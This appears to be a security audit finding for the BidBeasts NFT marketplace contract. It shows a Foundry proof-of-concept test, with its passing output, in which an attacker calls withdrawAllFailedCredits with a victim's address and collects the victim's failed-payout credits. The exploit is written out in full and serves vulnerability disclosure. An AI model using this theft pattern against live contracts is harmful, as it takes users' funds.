The contract intends to hold funds for users in case of direct transfer failure (_payout) by storing them in a mapping called failedTransferCredits. There is a function withdrawAllFailedCredits(address _receiver) to allow users to withdraw these funds later.
The following test will simulate a scenario where transferring funds to the seller fails, resulting in creating a pending balance for them. Then, the attacker (BIDDER_2) will call withdrawAllFailedCredits using the seller's address (SELLER) as _receiver to steal their funds.
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract RejectEther is ERC721Holder {
receive() external payable {
revert("Ether payment rejected");
}
}
contract ExploitTest is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
RejectEther rejector;
address public constant OWNER = address(0x1);
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4);
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
rejector = new RejectEther();
vm.stopPrank();
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
}
function test_exploit_StealFailedCredits_Realistic() public {
console.log("--- Test: Steal Failed Credits ---");
console.log("Step 1: Minting NFT to victim contract (rejector)...");
vm.prank(OWNER);
nft.mint(address(rejector));
vm.stopPrank();
assertEq(nft.ownerOf(TOKEN_ID), address(rejector), "Rejector should own the NFT");
console.log("NFT minted successfully to victim.");
console.log("Step 2: Victim contract lists the NFT...");
vm.startPrank(address(rejector));
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
assertEq(market.getListing(TOKEN_ID).seller, address(rejector), "Listing seller should be the victim contract");
console.log("NFT listed successfully.");
uint256 bidAmount = MIN_PRICE + 1 ether;
console.log("Step 3: Bidder places a bid of %s ETH...", bidAmount / 1 ether);
vm.prank(BIDDER_1);
market.placeBid{value: bidAmount}(TOKEN_ID);
vm.stopPrank();
console.log("Bid placed successfully.");
console.log("Step 4: Settling auction, expecting payout to fail...");
vm.warp(block.timestamp + market.S_AUCTION_EXTENSION_DURATION() + 1);
market.settleAuction(TOKEN_ID);
console.log("Auction settled.");
uint256 expectedCredit = (bidAmount * (100 - market.S_FEE_PERCENTAGE())) / 100;
uint256 victimCredit = market.failedTransferCredits(address(rejector));
console.log("Victim's expected failed credit: %s wei", expectedCredit);
console.log("Victim's actual failed credit: %s wei", victimCredit);
assertEq(victimCredit, expectedCredit, "Victim should have failed credits after failed payout");
console.log("Step 5: Verified failed credit created for victim.");
console.log("\n--- Starting Attack ---");
address attacker = BIDDER_2;
uint256 attackerBalanceBefore = attacker.balance;
console.log("Attacker balance before attack: %s ETH", attackerBalanceBefore / 1 ether);
vm.prank(attacker);
market.withdrawAllFailedCredits(address(rejector));
console.log("Step 6: Attacker called withdrawAllFailedCredits(victim_address).");
uint256 attackerBalanceAfter = attacker.balance;
console.log("Attacker balance after attack: %s ETH", attackerBalanceAfter / 1 ether);
assertEq(attackerBalanceAfter, attackerBalanceBefore + expectedCredit, "Attacker's balance should have increased by the victim's credit amount");
console.log(" VULNERABILITY CONFIRMED: Attacker's balance increased correctly.");
uint256 victimCreditAfter = market.failedTransferCredits(address(rejector));
console.log("Victim's failed credits after attack: %s wei", victimCreditAfter);
assertEq(victimCreditAfter, expectedCredit, "Victim's credit should NOT have been cleared!");
console.log(" VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.");
uint256 attackerCreditAfter = market.failedTransferCredits(attacker);
assertEq(attackerCreditAfter, 0, "Attacker's own credits (which were 0) should now be 0");
console.log(" VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.");
}
}
➜ 2025-09-bid-beasts git:(main) ✗ forge test --match-path test/VulnerabilityTest.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VulnerabilityTest.t.sol:ExploitTest
[PASS] test_exploit_StealFailedCredits_Realistic() (gas: 362808)
Logs:
--- Test: Steal Failed Credits ---
Step 1: Minting NFT to victim contract (rejector)...
NFT minted successfully to victim.
Step 2: Victim contract lists the NFT...
NFT listed successfully.
Step 3: Bidder places a bid of 2 ETH...
Bid placed successfully.
Step 4: Settling auction, expecting payout to fail...
Auction settled.
Victim's expected failed credit: 1900000000000000000 wei
Victim's actual failed credit: 1900000000000000000 wei
Step 5: Verified failed credit created for victim.
--- Starting Attack ---
Attacker balance before attack: 100 ETH
Step 6: Attacker called withdrawAllFailedCredits(victim_address).
Attacker balance after attack: 101 ETH
VULNERABILITY CONFIRMED: Attacker's balance increased correctly.
Victim's failed credits after attack: 1900000000000000000 wei
VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.
VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.30ms (1.47ms CPU time)